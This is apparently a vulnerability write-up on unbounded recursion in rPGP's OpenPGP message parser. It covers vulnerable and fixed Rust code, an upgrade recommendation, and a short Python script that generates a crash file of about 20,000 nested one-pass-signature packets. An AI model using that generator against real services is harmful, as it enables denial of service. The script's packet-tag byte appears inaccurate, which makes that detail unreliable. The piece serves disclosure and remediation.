The Matryoshka Crash: Recursive Ruin in rPGP

OpenPGP (RFC 4880) is a dinosaur. It is a complex, hierarchical, packet-based protocol that has survived decades of cryptographic evolution. When you write a parser for OpenPGP, you are essentially writing a parser for a tree structure. Messages contain packets, packets contain data, and sometimes—crucially—packets contain other packets.

Enter rPGP, a pure Rust implementation of OpenPGP. Rust is famous for its memory safety guarantees. It promises to save us from the sins of C/C++: buffer overflows, use-after-frees, and dangling pointers. But there is one resource that the borrow checker doesn't inherently protect: the stack.

This vulnerability is a classic reminder that logic bugs exist outside the realm of memory corruption. While Rust protects the heap with an iron fist, the stack is still a finite contiguous block of memory. If you let an attacker control your recursion depth, you are handing them a kill switch. In rPGP, the developers implemented the most natural solution for a tree-based protocol: a recursive parser. Unfortunately, they forgot to tell the parser when to stop digging.

The vulnerability lies in how rPGP handled "composed" messages—specifically signatures and one-pass signatures. In the OpenPGP spec, a message can consist of a signature packet wrapping a literal data packet. But nothing prevents a signature packet from wrapping another signature packet.

In src/composed/message/parser.rs, the next function was responsible for reading the next chunk of a message. When it encountered a tag like Tag::Signature or Tag::OnePassSignature, it needed to find out what was inside that signature context. To do this, it simply called itself.

Here is the logic flow that doomed the stack:

Every time the function called itself, it pushed a new stack frame containing local variables, return addresses, and state. On a standard Linux thread, you have about 2MB to 8MB of stack space. A maliciously crafted OpenPGP message, which is essentially just a file, can define thousands of nested packets in just a few kilobytes of data. The parser obliges, recurses, and eventually hits the guard page, causing the OS to terminate the process with a SIGSEGV (or a panic in Rust's case).

The fix required a complete paradigm shift. You can't just patch recursion with a counter if the logic fundamentally relies on the call stack to maintain state. The developers had to refactor the parser from a recursive function to an iterative state machine.

The vulnerability existed in the pre-fix next function. It looked innocent enough:

// PRE-FIX (Vulnerable)
// The stack holds the state of every nested level
fn next(packets: PacketParser) -> Result<Option<Message>> {
    let packet = packets.next()?;
    match packet.tag() {
        Tag::Signature | Tag::OnePassSignature => {
            // RECURSION HAZARD
            let inner_message = next(packets)?;
            Ok(Some(Message::Signed { inner: inner_message, ... }))
        }
        // ...
    }
}

In the patched version (Commit e82f2c7494ba277d62fd372d69b2c008473bbef8), the logic was moved to a MessageParser struct that maintains state on the heap (via Vec and Box) rather than the stack. The recursion is replaced by a loop:

// POST-FIX (Safe)
struct MessageParser<'a> {
    // State is now explicit and heap-allocated
    messages: Vec<SignaturePacket>,
    current: MessageParserState<'a>,
}
 
impl<'a> MessageParser<'a> {
    pub(super) fn run(mut self) -> Result<Option<Message<'a>>> {
        loop {
            // State transition logic replaces recursive calls
            match std::mem::replace(&mut self.current, MessageParserState::Error) {
                MessageParserState::Start { packets, ... } => {
                    let packet = packets.next()?;
                    match packet.tag() {
                        Tag::Signature | Tag::OnePassSignature => {
                            // Instead of recursing, we push to a Vec and loop again
                            self.messages.push(SignaturePacket::from(packet));
                            self.current = MessageParserState::Start { packets, ... };
                        }
                        // ...
                    }
                }
                // ...
            }
        }
    }
}

By moving the "nesting" tracking into a Vec<SignaturePacket>, the memory usage grows on the heap—which is generally gigabytes in size—rather than the stack. Even if an attacker sends 1,000,000 nested packets, the parser will likely just run out of RAM gracefully (or hit a heap limit) rather than crashing the thread instantly.

Exploiting this is trivially easy and requires no advanced knowledge of memory offsets or ROP chains. We aren't trying to hijack control flow; we just want to smash the stack. We need to construct a valid OpenPGP file that consists of layers of One-Pass Signature (OPS) packets.

The structure of the payload looks like this:

1. Packet 1: OPS (Says "I wrap the next packet")
2. Packet 2: OPS (Says "I wrap the next packet")
3. ... repeat 10,000 times ...
4. Packet 10,001: Literal Data (The delicious nougat center)

Here is a conceptual Python script to generate such a file. Note that we don't even need valid cryptographic signatures; the parser crashes while parsing the structure, before it attempts to verify the math.

# Concept PoC Generator
header = b'\x98' # Tag for One-Pass Signature (Old format)
body = b'\x03\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Dummy OPS body
 
# Recursion depth sufficient to kill default stack
payload = (header + len(body).to_bytes(1, 'big') + body) * 20000
 
# Append a literal packet at the end to satisfy the parser's hunger
literal_header = b'\xac' # Literal Data packet
literal_body = b'\x01\x00\x00\x00\x00\x00' # Empty literal
payload += literal_header + len(literal_body).to_bytes(1, 'big') + literal_body
 
with open('crash.pgp', 'wb') as f:
    f.write(payload)

Feeding crash.pgp to any service using a vulnerable version of rPGP will result in an immediate panic.

In the Rust ecosystem, rPGP is a core building block. It is used by Sequoia (in some contexts), email gateways, and secure software distribution tools. If you can crash the parser, you can likely take down the service.

Imagine an automated email processing system that decrypts incoming mail. An attacker sends a single email with a 10KB attachment. The moment the server tries to inspect it, the worker thread crashes. If the application doesn't have robust supervisor logic to restart threads, the service halts. Even if it does restart, the attacker can just keep sending the email, creating a persistent denial of service loop.

Furthermore, because this is a stack overflow, it is technically a memory safety violation, though Rust handles it by aborting safely rather than allowing arbitrary code execution. However, in embedded environments or systems without an OS (no guard pages), this could lead to heap corruption if the stack grows into the heap.

The remediation is straightforward: Upgrade to version 0.19.0.

The fix provided by the maintainers is robust. By switching to an iterative model, they haven't just patched this specific crash; they have eliminated the entire class of recursion-based stack overflow bugs for this parser. This is a "correctness" fix, not just a security band-aid.

If you cannot upgrade immediately, you must implement strict input validation before the data reaches rPGP. However, validating nested OpenPGP packets without parsing them is difficult. You could implement a naive byte-scanner to reject files with excessive repetitions of the Signature packet tag, but this is error-prone. The only real fix is the code change.